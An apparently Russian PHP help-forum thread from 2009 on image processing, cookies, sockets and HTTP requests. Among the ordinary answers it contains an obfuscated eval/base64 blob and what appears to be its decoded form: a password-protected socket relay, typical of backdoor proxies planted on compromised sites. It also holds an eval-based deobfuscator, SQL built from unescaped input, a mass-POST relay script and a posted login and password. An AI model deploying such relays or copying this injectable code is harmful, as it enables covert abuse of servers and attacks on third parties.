imagecopy($im, $im2, 0, $mas[1], 0, 0, 215, 30);
imagecopy($im, $im1, 0, 0, 0, 0, 215, $mas[1]);
imagecopy($im, $im3, 0, $mas[1]+30, 0, 0, 215, 350);
}else {
echo "Ошибка при cоздании Аватара";
exit();
}
}// нужно с функции которая выше предать значение функции ниже
// закруглёные углы
function ugolki ($im /*вот сюда подставить*/ ){
//размеры аватарки
$width = imagesx($im);
$height = imagesy($im);
//добавляем уголки
$tl = imagecreatefrompng('tl.png'); //top left
$tr = imagecreatefrompng('tr.png'); //top right
$dl = imagecreatefrompng('dl.png'); //down left
$dr = imagecreatefrompng('dr.png'); //down right
//размеры уголков (предпологается, что размер углов одинаковый )
$w = imagesx($tl);
$h = imagesy($tl);
imagecopy($im, $tl, 0, 0, 0, 0, $w, $h);
imagecopy($im, $tr, $width-$w, 0, 0, 0, $w, $h);
imagecopy($im, $dl, 0, $height-$h, 0, 0, $w, $h);
imagecopy($im, $dr, $width-$w, $height-$h, 0, 0, $w, $h);
}
// подгружам нужные файлы
include("db.php");
include("function.php");
// передаём переменные
if (isset($_POST['vibor'])) { $vibor = $_POST['vibor'];}
if (isset($_POST['load'])) { $adres = $_POST['load'];}
if (isset($_POST['zak'])) { $zak = $_POST['zak'];}
// ава контакт
vkont($vibor, $adres);
// закруглёные края
if ($zak == 1) {
ugolki ($im);
}
// сохранение аватара
imagejpeg($im,"avatar/$name");
imagedestroy($im);
printf("<img src='avatar/$name' alt=''/><br><a href='get.php?file=avatar/$name'>сохранить</a>");
Как передать $im с одной функции в другую???
сделать в обоих функциях global $im;
а можно еще в конце первой функции сделать return $im; и вызывать ее вот так $im = vkont($vibor, $adres);
сделать в обоих функциях global $im
Не работает так! Нада $im подставить ugolki ($im) вот так и чтоб $im была с пред идущей функцией!???
function vkont($vibor, $adres)
{
...
return $im;
}
и
$im = vkont($vibor, $adres);
if ($zak == 1)
ugolki ($im);
ну я потом это и сказал ток на две минуты раньше, сначала затупил, ссори
да, когда я читал твой пост, там этого не было.
Какой функцией можно сделать загруженный рисунок черно белым?
http://bubble.ro/How_to_convert_an_image_to_grayscale_using_PHP.htm l
Byrger
<?php
foreach($_COOKIES as $key => $value)
{
setcookie($key, 'deleted'); #если не поможет, то ''
}
есть класс дял работы с анимацией гиф?
Pashkela
23.01.2009, 01:05
http://www.php.net/imagick
Сори, знаю была такая тема... чтото не нашол...
Как из файла выдрать строку в которой встречается например "pass" ??
Pashkela
23.01.2009, 06:46
<?php
$fp = fopen ('1.txt', 'r');
while (!feof ($fp)) {
$temp = fgets ($fp, 4096);
if (preg_match('/pass/',$temp)) echo $temp . "\r\n";
}
fclose ($fp);
?>
Pashkela, а если не один раз встречаеться?? ))
preda1or
23.01.2009, 08:33
Pashkela, а если не один раз встречаеться?? ))
preg_match_all()
Zitt, Pashkela
<?php
$fp = fopen ('1.txt', 'r');
while (!feof ($fp)) {
$temp = fgets ($fp, 4096);
if (preg_match('/pass/',$temp)) echo $temp . "\r\n";
}
fclose ($fp);
?>
может лучше
$str = array();
// получение файла в массив
$file = file('1.txt');
// ищем строку перебором массива
foreach($file as $row)
if(strstr('pass', $row))
$str[] = $row;
// вывод найденного
if(sizeof($str))
print_r($str);
в $file[$i] содержиться текст с ИП адресом, пытаюсь записать ИП без текста в файл, но в файле оказываеться только слово Array :confused:
preg_match_all('/\s+\d+\.\d+\.\d+\.\d+/',$file[$i],$outp);
$r=fopen("output.txt","a+");
fwrite($r,"$outp\n");
Joker-jar
23.01.2009, 12:35
SVAROG
<?
$text = 'ip-address 192.168.35.2 has been banned';
preg_match("/([0-9]){1,3}\.([0-9]){1,3}\.([0-9]){1,3}\.([0-9]){1,3}/", $text, $out);
echo $out[0];
?>
-=Static=-
23.01.2009, 13:06
в $file[$i] содержиться текст с ИП адресом, пытаюсь записать ИП без текста в файл, но в файле оказываеться только слово Array :confused:
preg_match_all('/\s+\d+\.\d+\.\d+\.\d+/',$file[$i],$outp);
$r=fopen("output.txt","a+");
fwrite($r,"$outp\n");
Так ты из 2-х мерного массива $outp выдели то что тебе надо записать)
Можно например так:
foreach($outp as $line) $out .= $line."\n";
Тогда код будет примерно такой:
$out = "";
preg_match_all('/\s+\d+\.\d+\.\d+\.\d+/',$file[$i],$outp);
foreach($outp as $line) $out .= $line."\n";
$r=fopen("output.txt","a+");
fwrite($r,"$out\n");
fclose($r);
Joker-jar -=Static=- спс что то я сам недогодался))
$SQL = " SELECT * FROM news1 where id = $id";
$getid = mysql_db_query($dbase, "$SQL", $connection_id);
while ($row = mysql_fetch_array($getid)) {
$datetxt = $row["datetxt"];
$header = $row["header"];
$category = $row["category"];
$author = $row["author"];
$description = $row["description"];
$readcount = $row["readcount"];
$description = str_replace("\n", "<br>", $description);
$header = stripslashes($header);
$description = stripslashes($description);
echo ("<H1>$header</H1>
<table width=100% border=0 cellspacing=0 cellpadding=2 class=news>
<tr>
<td><span class=newsdate>Добавлено $datetxt | $category | Просмотров $readcount</span></td>
</tr>
</table><br>
<table width=0% border=0 cellspacing=0 cellpadding=0>
<tr>
<td>
<span class=newsfont>$description</span>\n
</td>
</tr>
</table>");
Есть такой код. Честно говорю - стырил с ломаного сайта, решил движок запустить на машине на компе. НА сервере где лежит сайт - все работает, на ПК - нет. Может тут в чем-то ошибка? Дальше по коду идут следующие запросы к БД для получения заголовков следующей и предыдущей новости
PS: этот движок уложил мне БД на моем ПК, стоит денвер последний.
PPS: в этом всем я новичок, может найдется человек, который сможет не доходчиво объяснять ответы на некоторые часто возникающие у меня вопросы? Если да - пусть он напишет в ПМ, буду очень благодарен ему!
-=Static=-
23.01.2009, 13:58
sharoff, сей кусок кода никак не могу положить твою БД. А то что не работает - ты б написал какие у тебя ошибки пишутся, а не это :) Может все намного проще)
Ошибок никаких нету, просто тупо ничего не отображается, и сей кусок кода может и не положит БД, зато весь движок ложит жестоко.
groundhog
23.01.2009, 15:11
А дело до него доходит? Коннект с базой есть? Реквизиты коннекта верные? Проверял? Если ты тупо вставил этот кусок кода, то ясен хрен он не заработает как минимум потому, что переменная, содержащая ресурс коннекта называет иначе чем везде...
Pashkela
23.01.2009, 15:24
Ошибок никаких нету, просто тупо ничего не отображается, и сей кусок кода может и не положит БД, зато весь движок ложит жестоко.
гы, хочешь, отобразится, да так, что на несколько строк сразу?:))
В начало скрипта вставь
@ini_set("display_errors","1");
запусти и наслаждайся
-=Static=-
23.01.2009, 15:24
Ошибок никаких нету, просто тупо ничего не отображается, и сей кусок кода может и не положит БД, зато весь движок ложит жестоко.
А в чем проявляется "лежание" БД?? Как вы понимаете словосочетание "код положил БД"??
Благодаря этому чудо-коду ошибки не отобразились, а лежание БД проявляется в Too many connections )
Благодаря этому чудо-коду ошибки не отобразились, а лежание БД проявляется в Too many connections )
у хостеров обычно стоит ограничение на кол-во запросов, если у тебя не по ошибке большое кол-во а из за обработки большого кол-ва данных то тебе нужно обратица к хостеру и попросить увеличить максимальное колво запросов, вполне возможно что это будет платно
упс, вник в проблему, если это твой комп то сам полазай поисчи где настраивается кол во запросов, канешно если код правельный
AkyHa_MaTaTa
23.01.2009, 16:29
Благодаря этому чудо-коду ошибки не отобразились, а лежание БД проявляется в Too many connections )
Как я понял на твоем локалхосте он не запускаеться,
где то происходит выход из скрипта(exit,die) при ошибки,
по display_errors
во первых по дефолту в "денвер последний" он и так display_errors=1
во вторых - it won't have any affect if the script has fatal errors.
Попробуй элементарно найти error_reporting(0) и закоментить его.
Помогите расшифровать:
<?php
eval(gzinflate(base64_decode('jVP/a9NAFG9I1sd6vTQXaYbbDws10JbpsA7E0R0t16VgIqVMkXWllj EjHStWsjLwV0WLP/mDv6p/g3+i7y5N1hUEH9xd7j5f7r0XzruKPvLDZ01a8OLo2uVVMZuAZV GLW2BTyyHFjeAkHMwmXQaaBY4YC5/Zll7c7Pf7/gDZxAgIY+AEXf7kUePpoX9vC6wdvxWK42NxFylQ5iAQouo+DoF xq078lSoTJGd+S3TGIiWEsE2cwVJeQSl3SAm4SUrEkakuEZrjp GSbRCMON8wtVgi8B/uN4fxgpChXXVNnlGE5a2kPEnlXbRHO6QxeveZ50GgeAuaoxpi6 BkFbtHui/RynxCvM7jYJw4JktYjJLoZoBNu2KS38U7/3f65rXcvssWedxFbN6H12soKpi8V4jG0kNoIb4MiT3E5RL0GCh ne7KEWGpBqMapvUhqKUprmHS1b6y2QYZYs4IFW9ZaswuzRuaeU CMSHoGEDVDZnVup3quF5kZbBkFhbo+cT7Zf8sKzsN0Ao0Za9iu 6v5aSZlKr9MnsJp4XIPJgNMRDm2/yw+L8SPn18/ie+Lb7+//HrRHojd2aQq38b1POY4xnH0YXp+EdUqw3ljVHnoVo5aOMunU/8H7UDRqpKFiGJNo/eShUstO4tueFXe9G4W17xL/rjpXR5JIq57e3VFcPe5ezGJa7P4rdINvctR3X3jeviEpUd0cz6 tIU9+N/8C')));
?>
При выполнении еcho херь какая-то получается.
Очень интересно что за скрипт.
error_reporting(0);
$secret = 'sprank222';
if(isset($_POST['query']) && isset($_POST['host']))
{
if(isset($secret) && ($_POST['secret'] != $secret))exit;
@set_time_limit(0);
ob_implicit_flush(FALSE);
$lasos = $_POST['query'];
$query = base64_decode(str_replace(" ", "+", $lasos));
list($host, $port) = explode(':', base64_decode(str_replace(" ", "+", $_POST['host'])));
if(!$port)$port = 80;
if($host == ($ip = gethostbyname($host)))exit;
if($fp = fsockopen($ip, $port))
{
fwrite($fp, $query);
while(!feof($fp))
{
$answer = fread($fp, 128);
echo $answer;
}
fclose($fp);
}
exit;
}
else { echo "Тебе сюда нельзя."; }
а вообще..
Лови небольшой скриптик.. кладешь в корень.. запускаешь, предварительно положив base64 gzip в mypass.txt :)
<?php echo "1. Reading mypass.txt\n"; $fp1 = fopen ("coded.txt", "r"); $contents = fread ($fp1, filesize ("coded.txt")); fclose($fp1); echo "2. Decoding\n"; while (preg_match("/eval\(gzinflate/",$contents)) { $contents=preg_replace("/<\?|\?>/", "", $contents); eval(preg_replace("/eval/", "\$contents=", $contents)); } echo "3. Writing decoded.txt\n"; $fp2 = fopen("decoded.txt","w"); fwrite($fp2, trim($contents)); fclose($fp2); ?>
По завершению - скрипт передаст результаты в decoded.txt
объясните плиз про <?php ?>, щас говорят что типо это можно не закрывать, а почему? в чем разница?
И расскажите поподробне про коментарии (//, /* */)
что лучше использовать?
а то одни говорит одно другие дгругое и все это не обосновано!
Pashkela
23.01.2009, 21:34
И расскажите поподробне про коментарии (//, /* */)
что лучше использовать?
а то одни говорит одно другие дгругое и все это не обосновано!
http://java.sun.com/docs/codeconv/html/CodeConventions.doc.html
Есть общепризнанные мировые стандарты
объясните плиз про <?php ?>, щас говорят что типо это можно не закрывать, а почему? в чем разница?
И расскажите поподробне про коментарии (//, /* */)
что лучше использовать?
а то одни говорит одно другие дгругое и все это не обосновано!
Файл include.php
<?php
//немного кода...
?><!-- а вот тут мы поставили случайнo пробел(образно говоря)-->
Файл index.php
<?php
include('include.php'); //включаем файл
header('Content-type: application/download'); //отправка в браузер заголовка, вывода не должно быть, а он есть в include.php
echo 'asdasd';
?>
Если php сконфигурирован с опр. опцией(авто-расстановки заголовков), то ошибки не будет.
Иначе:
Cannot send header information on line 3 in index.php
Как ты понимаешь все возникло из-за случайно поставленного пробела после тега ?>
Не закрыв тег, мы избавимя от таких проблем
----------------------
Насчет комментариев:
Разрешается использовать все что душе угодно.
Для однострочных комментариев(пояснений 1 строки или части кода) существуют:
# это однострочный комментарий
// это тоже однострочный комментарий
А это многострочный комментарий:
/* строка1
строка2
строка3
*/
Что использовать решать тебе, все зависит от потребности. Комментарии никак не влияют на исполнение программы, нужны лишь для программиста.
Ссылка:
http://ru.wikipedia.org/wiki/Комментарии
Как правильно сделать запрос в БД
есть ли в таблице table ячейка id со значением =1
На выходе 1 или 0 ну или true false
SELECT 'true' FROM table WHERE id='1'
Я вот намутил скрипт:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>qwerty</title>
</head>
<body>
<?php
$sposob = "Банк";
switch ($sposob)
{
case "Банк":
print"Чтобы оплатить через Банк...";
break;
case "Почта":
print"Чтобы оплатить через Почту...";
break;
case "Юнион":
print"Чтобы оплатить через WebMoney...";
break;
default:
echo "Вы не выбрали способ оплаты";
break;
}
?>
</body>
</html>
А вот как сделать это с кнопками я не представляю, чтоб было 3 кнопки и када нажимаешь на одну, там высвечивалось то что в case????
ikolla$$
23.01.2009, 23:02
<input type="submit" name="Bank">.так шоле)
heretic1990
23.01.2009, 23:45
такой вопрос: есть у нас форма, мы посылаем пост запрос на скрипт, но такая проблемма: надо несколоко раз подрят отправить туда этот запрос!
как сделать так? - форма -> скрипт посредник-> скрипт
такой вопрос: есть у нас форма, мы посылаем пост запрос на скрипт, но такая проблемма: надо несколоко раз подрят отправить туда этот запрос!
как сделать так? - форма -> скрипт посредник-> скрипт
include в посреднике на другой скрипт)?
heretic1990
24.01.2009, 00:07
ChaaK а при чём здесь include?
скрипт посредник должен отправлять запросы на скрипт , столько раз сколько ему задали в форме.
P.S. мой извращённый ум здесь ни кто не понимает?!
heretic1990 Как-то так, в форме нужно будет добавить поля posrednik_to - адрес куда пересылать и posrednik_times. Скрипт - ничего возвращать не будет, если же очень хочется - то учим курл и правим функцию post. И еще одно - все будет посылаться сервером, на котором лежит этот скрипт посредник, так что и притензии за спам будут к вам)
function post($url='',$content='')
{
GLOBAL $cookie;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_NOBODY, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208');
if (!empty($content)) {curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS, $content);} else {curl_setopt($ch, CURLOPT_POST, 0);}
curl_exec($ch);
curl_close($ch);
}
if (isset($_POST['posrednik_to']))
{
$to=$_POST['posrednik_to'];
$num=empty($_POST['posrednik_times']) ? $_POST['posrednik_times'] : 1;
unset($_POST['posrednik_to'],$_POST['posrednik_times']);
$c=array();
foreach($_POST as $a=>$b) $c[]=$a.'='.urlencode($b);
$c=implode('&',$c);
for ($i=1;$i<=$num;$i++) post($to,$c);
}
http://java.sun.com/docs/codeconv/html/CodeConventions.doc.html
Есть общепризнанные мировые стандарты
http://framework.zend.com/manual/en/coding-standard.html
;)
Можно как-то вычислить и вывести сколько осталось жить кукам?
Допустим в куках есть запись billing
Немогу понять в чем проблема?!!
скрипт верный, ошибок нет, но выдает какую то фигню((((
if ($user[id]) {
$o_tickets = $db->query_return_array("
SELECT *
FROM ticket
WHERE userid = '$session[userid]'
AND is_open
ORDER BY date_lastreply_tech DESC"
);
$r_tickets = $db->query_return_array("
SELECT *
FROM ticket
WHERE userid = '$session[userid]'
AND !is_open
ORDER BY date_closed DESC"
);
if (is_array($o_tickets)) {
foreach ($o_tickets AS $result) {
$result['subject'] = trimstring($result['subject'], 30, 1);
if (!$result['ref']) {
force_refs();
}
if ($result['date_opened']) {
$result['date_opened'] = our_date($result['date_opened']);
}
if ($result['date_lastreply']) {
$result['date_lastreply'] = our_date($result['date_lastreply']);
}
if ($result['date_closed']) {
$result['date_closed'] = our_date($result['date_closed']);
}
if ($result['date_lastreply_tech']) {
$result['date_lastreply_tech'] = our_date($result['date_lastreply_tech']);
} else {
$result['date_lastreply_tech'] = $dplang['n/a'];
}
if (count($oticket) < 5) {
$oticket[] = $result;
} else {
$oticket_more++;
}
}
}
if (is_array($r_tickets)) {
foreach ($r_tickets AS $result) {
$result['subject'] = trimstring($result['subject'], 30, 1);
if (!$result['ref']) {
force_refs();
}
if ($result['date_opened']) {
$result['date_opened'] = our_date($result['date_opened']);
}
if ($result['date_lastreply']) {
$result['date_lastreply'] = our_date($result['date_lastreply']);
}
if ($result['date_closed']) {
$result['date_closed'] = our_date($result['date_closed']);
}
if ($result['date_lastreply_tech']) {
$result['date_lastreply_tech'] = our_date($result['date_lastreply_tech']);
}
if ($result['awaiting_tech']) {
$result['awaiting_tech'] = $dplang['tech_reply'];
} else {
$result['awaiting_tech'] = $dplang['your_reply'];
}
if (count($rticket) < 5) {
$rticket[] = $result;
} else {
$rticket_more++;
}
}
}
}
Здравствуйте!
Как
1. залогиниться через socket
2. Вернуть в переменную содержимле страницы для проверки входа на успешность
3. перейти на нужную страницу
Раньше с сокетами никогда не работал, накопал вот такой код, но не знаю как правильно им воспользоваться:
fp=fsockopen("site.ru",80,$errno,$errstr,10);
if (!fp) {die();}
$out = "GET /login.php?email=".$email."&pass=".$pass." HTTP/1.0\r\n";
$out .= "Host: vkontakte.ru\r\n";
$out .= "User-Agent: ".$user_agent."\r\n";
$out .= "Cookie: income=1\r\n";
$out .= "Content-Type:text/xml; charset=windows-1251\r\n\r\n";
fwrite($fp,$out);
$ans='';
while(!feof($fp))
{
$ans.=fgets($fp,128);
}
fclose($fp);
В Любом случае все большое спасибо, как всегда ответившим с меня плюсики! ;)
MaTpOc "Немогу понять в чем проблема?!!" - Вначале проверь есть ли проблема, а потом сформулируй почему считаешь это проблемой - шоу экстрасенсов не на этом канале
OnArs Берешь сниффер (например LiveHTTPHeaders для фаерфокса) - смотришь что именно передается на страницу и так же передаешь сокетами (каждая строка заканчивается "\r\n". В конце - "\r\n\r\n")
http://i064.radikal.ru/0901/4a/a7982b671f91.jpg
Почему куки создаются с префиксом страницы?
хотя создаю я так setcookie(billing, "XH6KV4")
Ну и понятно очистить я смогу куки только со страницы с такимже префиксом....почему так и как можно исправить?
http://ru2.php.net/setcookie
path
The path on the server in which the cookie will be available on. If set to '/', the cookie will be available within the entire domain . If set to '/foo/', the cookie will only be available within the /foo/ directory and all sub-directories such as /foo/bar/ of domain . The default value is the current directory that the cookie is being set in.
OnArs Берешь сниффер (например LiveHTTPHeaders для фаерфокса) - смотришь что именно передается на страницу и так же передаешь сокетами (каждая строка заканчивается "\r\n". В конце - "\r\n\r\n")
Воспользовался сниффером.
теперь код выглядит так:
$data="login=spamer.ucoz.com&password=957000&Submit=++OK++&z=enter_form";
$fp = fsockopen("web.tak.ru", 80, $errno, $errstr, 10);
$out = "POST /enter.php HTTP/1.1\r\n";
$out .= "Host: web.tak.ru\r\n";
$out .= "Referer: google.ru\r\n";
$out .= "User-Agent: Opera\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
$out .= "Content-Length: ".strlen($data)."\n\n";
$out .= $data."\r\n\r\n";
fputs($fp, $out);
while($gets=fgets($fp,2048))
{
print $gets;
}
fclose($fp);
т.е.:
делаю логин для tak.ru
мой login: spamer.ucoz.com
мой pass: 957000
Строка возвращемая в переменную $data действительная и правильна(верна), получал её сниффером для FF, который советовал Gifts.
Логин и пароль для tak.ru верны, там даже на счету 0,34 (или примерно так) рублей.
При выполнении скрипта, Я вижу страницу tak.ru которая говорит мне о том, что введённый пароль для данного логина не верно, это говорит о том, что параметры login и password передаются не верно, но передаются, иначе (в том случае если бы они или один из них не передавались бы) получили бы ошибку на сайте tak.ru о том, что либо логин либо пароль не введены.
Подскажите пожалуйста, что делаю не верное, где и как исправить.
Большое Спасибо!
$out .= "Content-Length: ".strlen($data)."\n\n";
$out .= $data."\r\n\r\n";
Зачем это \r\n\r\n в конце?
подскажите такую вещь что значит эта строка?
$sm->$db()->....
вот эти стрелки,само их значение? это переопределение переменных? опишите если не сложн на пальцах )
OnArs
значения, где есть какие спец. символы старайся делать urlencode()
"\n\n" - почму по разному? вроде в обоих местах "\r\n\r\n"
ЗЫ юзай лучше курл, удобнее
svesve
это обращение к элементу класса (метод/свойство)
Зачем это \r\n\r\n в конце?
Так подсказал делать Gifts, но т.к. спросил Я решил убрать, проблема осталась.
$data="login=spamer.ucoz.com&password=957000&Submit=++OK++&z=enter_form";
$fp = fsockopen("web.tak.ru", 80, $errno, $errstr, 10);
$out = "POST /enter.php HTTP/1.1\r\n";
$out .= "Host: web.tak.ru\r\n";
$out .= "Referer: http://google.ru\r\n";
$out .= "User-Agent: Opera\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
$out .= "Content-Length: ".strlen($data)."\r\n\r\n";
$out .= $data;
fputs($fp, $out);
while($gets=fgets($fp,2048))
{
print $gets;
}
fclose($fp);
Вообще код изначально был рабочим, парси из ответа кукисы и переходи к map.php
Вообще код изначально был рабочим, парси из ответа кукисы и переходи к map.php
Какой смысл что-то парсить в ответе, если скрипт не залогинелся?
Эх...
<?
$data="login=spamer.ucoz.com&password=957000&Submit=++OK++&z=enter_form";
$fp = fsockopen("web.tak.ru", 80, $errno, $errstr, 10);
$out = "POST /enter.php HTTP/1.1\r\n";
$out .= "Host: web.tak.ru\r\n";
$out .= "Referer: google.ru\r\n";
$out .= "User-Agent: Opera\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
$out .= "Content-Length: ".strlen($data)."\n\n";
$out .= $data."\r\n\r\n";
fputs($fp, $out);
$response = '';
while(!feof($fp))
{
$response .= fgets($fp, 1024);
}
fclose($fp);
preg_match_all("/Set-Cookie: ([\s\S]+);/isU",$response,$m);
$string = join("; ", $m[1]);
$fp = fsockopen("web.tak.ru", 80, $errno, $errstr, 10);
$out = "GET /map.php HTTP/1.1\r\n";
$out .= "Host: web.tak.ru\n";
$out .= "Cookie: $string\n\n";
fputs($fp, $out);
while(!feof($fp))
{
echo fgets($fp, 128);
}
fclose($fp);
?>
Эх...
<?
//////////////////
?>
Воткнул в репу, большое спасибо, работает, идею понял, примного благодарен! ;)
Помогите написать скрипт который бы брал из файла русские слова и переводил их на транслит и все складывал в др фойл :rolleyes:
Найди как читать/писать файл и заюзай
http://webscripts.softpedia.com/script/PHP-Clases/Translit-12285.html
У кого нить есть пример кода для конвертирования цветной картинки в Чёрно белую????
Pashkela
26.01.2009, 00:37
<?php
$s_file="1.jpg"; //Файл исходник
$r_file="2.jpg"; //Куда сохранить результат
wb($s_file,$r_file); //Запускаем функцию преобразования картинки
/* Функция для преобразования цветной картинки в черно-белую */
Function wb($file1,$file2) {
//Получаем данные о картинке (высота и ширина)
list($width, $height) = getimagesize($file1);
// Начинаем работу над исходником
$source = imagecreatefromjpeg($file1);
$bwimage= imagecreate($width, $height);
//Создаем 256 цветную палитру
for ($c=0;$c<256;$c++)
{
$palette[$c] = imagecolorallocate($bwimage,$c,$c,$c);
}
//Функция для преобразования rgb-пикселей в черно-белый цвет
function yiq($r,$g,$b)
{
return (($r*0.299)+($g*0.587)+($b*0.114));
}
//Считываем цветовые пиксели (один за другим)
for ($y=0;$y<$height;$y++)
{
for ($x=0;$x<$width;$x++)
{
$rgb = imagecolorat($source,$x,$y);
$r = ($rgb >> 16) & 0xFF;
$g = ($rgb >> 8) & 0xFF;
$b = $rgb & 0xFF;
//А здесь мы преобразуем все цветные пиксели в черно-белые с помощью функции yiq
$gs = yiq($r,$g,$b);
imagesetpixel($bwimage,$x,$y,$palette[$gs]);
}
}
// Сохраняем нашу получившуюся картинку
imagejpeg($bwimage,$file2);
ImageDestroy($bwimage);
Echo "Done";
}
?>
...тут была месага Byrger'a...
очистить массив
foreach($array as &$a)
$a = '';
удалить массив
unset($array);
AkyHa_MaTaTa
26.01.2009, 12:48
']очистить массив
foreach($array as &$a)
$a = '';
[/php]
а не проше и быстрее его переназначит, чем создавать цикл?
$array=array();
<?php
$const = array();
$const = array('L','C','SN','UN','REM','R','F','Fun','Conf' );
$cont = count($const);
for($i=0 ; $i < $cont; $i++)
{
define($const[$i],true);
}
include_once 'config.php';
include_once "func/blog_func.php";
//
if(!isset($_REQUEST['id']) || empty($_REQUEST['id']))
{
$resul = defsell();
}
else{
$id = $_REQUEST['id'] ;
$id = (int)$id;
$resul = selpage($id);
//
//
}
//echo '<meta http-equiv="Refresh" content="0; URL=/less/blog/index.php"> ';
?>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title></title>
<link rel="stylesheet" href="tema.css" type="text/css" />
</head>
<body>
<div id="header"></div>
<div id="maincontent">
<table>
<tr>
<td id="left">
<div class="menu"><?php include_once "block/left.php" ?></div></td>
<td id="content">
<?php
if(isset($_REQUEST['page']))
{
$val = $_REQUEST['page'];
}
switch($val)
{
case "send_news":
include_once "block/send_news.php" ;
break;
case "update_news":
include_once "block/update_news.php" ;
break;
case "remove_news":
include_once "block/remove.php" ;
break;
default:
include_once "block/content.php" ;
}
?>
</td>
<td id="right">
<div><?php include_once "block/right.php"; ?></div></td>
</tr>
</table>
</div>
<div id ="footer"><?php include_once "block/footer.php"; ?> </div>
</body></html>
//файл с функц
<?php
function redict($red)
{
return header("Location: $red");
}
function update_page ($id,$idcat,$hide,$text,$title)
{
connect();
$q="update page set id_cat=$idcat, visible=$hide , content='$text',title='$title' where id=$id";
$at = mysql_query($q);
query_set($at);
redict('index.php');
}
?>
//update_news.php
<?php
if(!defined('UN')) die("Not Find") ;
if(isset($_REQUEST['update']))
{
$id = $_REQUEST['id'];
$id =(int)$id ;
$idcat = $_REQUEST['cat'];
$idcat =(int)$idcat;
$hide = secdb($_REQUEST['hide']);
$title = secdb($_REQUEST['title']);
$text = $_REQUEST['text'];
update_page($id,$idcat,$hide,$text,$title);
}
if(!isset($_REQUEST['update']) || empty($_REQUEST['update']))
{
//форма
}
?>
Кричит что header() уже послан
как все таки послать хедер
DTW, ты сначала выводишь тело документа, а потом уже инклудишь update_news.php в котором хочешь изменить header
AkyHa_MaTaTa voodoo programming xD
AkyHa_MaTaTa
26.01.2009, 13:03
function redict($red)
{
if(!headers_sent()){
header("Location: $red");
exit;
}
}
Кричит что header() уже послан
как все таки послать хедер
можно еще буферизировать вывод, вызывай функцию до любых выводов в браузер(пробел это тоже вывод в браузер).
ob_start();
в начале кода припиши
ikolla$$
26.01.2009, 15:36
Вот столкнулся с проблемой,нужно подеменить реферер.
Вобщем растолкую =)
Есть на сайте ссылка вида:
<a href = "http://internet.ru">Hu!!!</a>
Проблема: нужно чтобы при переходе с моего сайта по ссылке,на конечном сайте был другой реферер,не мой сайт.Кто чем поможет?
AkyHa_MaTaTa
26.01.2009, 16:00
Вот столкнулся с проблемой,нужно подеменить реферер.
Вобщем растолкую =)
Есть на сайте ссылка вида:
<a href = "http://internet.ru">Hu!!!</a>
Проблема: нужно чтобы при переходе с моего сайта по ссылке,на конечном сайте был другой реферер,не мой сайт.Кто чем поможет?
Рефферер, при клике по сылке устанавливаеться браузерам, и тебе до него не добраться, можно использовать промежуточный хост
<a href = "http://dor.ru">Hu!!!</a>// кликнули
window.location="http://internet.ru"// перенаправили c dor.ru на internet.ru
Есть еще вариант с JavaAplet, но ип хоста internet.ru должен быть как и у твоего сайта,и то страница с internet.ru загружаться не будет.
ikolla$$
26.01.2009, 16:08
Спасибо,разобрался с помощью извращенства =)
Какой функцией воспользоваться чтобы скрипт конектился к нужному юрл?Нужно для передачи тому юрл в гет запросе разных ранных!
$answer = file_get_contents('http://www.google.com/search?q=antichat');
echo $answer;
Qam, в зависимости от кофигурации сервера:
http://ru2.php.net/fopen
http://ru.php.net/file_get_contents
http://ru2.php.net/curl
http://ru.php.net/manual/ru/function.fsockopen.php
оRb и [dei] пасиб большое!Буду изучать!
В чем ошибка не могу понять!!!
Есть код
<?php
// ïîäãðóæàì íóæíûå ôàéëû
include("db.php");
include("function.php");
// ïåðåäà¸ì ïåðåìåííûå
if (isset($_POST['vibor'])) { $vibor = $_POST['vibor'];}
if (isset($_POST['load'])) { $adres = $_POST['load'];}
if (isset($_POST['zak'])) { $zak = $_POST['zak'];}
if (isset($_POST['che'])) { $che = $_POST['che'];}
if (isset($_POST['name'])) { $namech = $_POST['name'];}
if ($che == 1) {
$s_file = $adres; //Файл исходник
$razm = getimagesize($adres);
$widthch= $razm[0];
$heigthch = $razm[1];
$imch = imagecreatetruecolor($widthch,$heigthch);
imagejpeg($imch,"fotos/ch_".$namech);
imagedestroy($imch);
$r_file="fotos/ch_".$namech; //Куда сохранить результат
echo "$s_file<br>";
echo $r_file;
wb($s_file,$r_file); //Запускаем функцию преобразования картинки
/* Функция для преобразования цветной картинки в черно-белую */
function wb($file1,$file2) {
//Получаем данные о картинке (высота и ширина)
list($width, $height) = getimagesize($file1);
// Начинаем работу над исходником
$source = imagecreatefromjpeg($file1);
$bwimage= imagecreate($width, $height);
//Создаем 256 цветную палитру
for ($c=0;$c<256;$c++)
{
$palette[$c] = imagecolorallocate($bwimage,$c,$c,$c);
}
//Функция для преобразования rgb-пикселей в черно-белый цвет
function yiq($r,$g,$b)
{
return (($r*0.299)+($g*0.587)+($b*0.114));
}
//Считываем цветовые пиксели (один за другим)
for ($y=0;$y<$height;$y++)
{
for ($x=0;$x<$width;$x++)
{
$rgb = imagecolorat($source,$x,$y);
$r = ($rgb >> 16) & 0xFF;
$g = ($rgb >> 8) & 0xFF;
$b = $rgb & 0xFF;
//А здесь мы преобразуем все цветные пиксели в черно-белые с помощью функции yiq
$gs = yiq($r,$g,$b);
imagesetpixel($bwimage,$x,$y,$palette[$gs]);
}
}
// Сохраняем нашу получившуюся картинку
imagejpeg($bwimage,$file2);
imagedestroy($bwimage);
}
}
// çàïðîñ ê áàçå
$q = "SELECT * FROM data WHERE id='$vibor'";
$result1 = mysql_query($q,$db);
if (!$result1) {
exit(mysql_error());
}
if (mysql_num_rows($result1) > 0) {
//âûòàñêèâàåì ïóòè ê êàðòèíêàì
